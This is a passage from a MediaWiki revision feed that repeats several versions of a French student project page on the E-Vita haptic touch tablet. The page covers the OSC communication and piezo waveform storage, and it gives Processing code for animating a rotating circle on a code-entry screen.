 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37198</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37198"/>
				<updated>2017-01-10T18:12:24Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37197</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37197"/>
				<updated>2017-01-10T18:08:46Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]]&lt;br /&gt;
[[Fichier:Ligne_numero_6.png|500px|right]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37196</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37196"/>
				<updated>2017-01-10T18:08:36Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]]&lt;br /&gt;
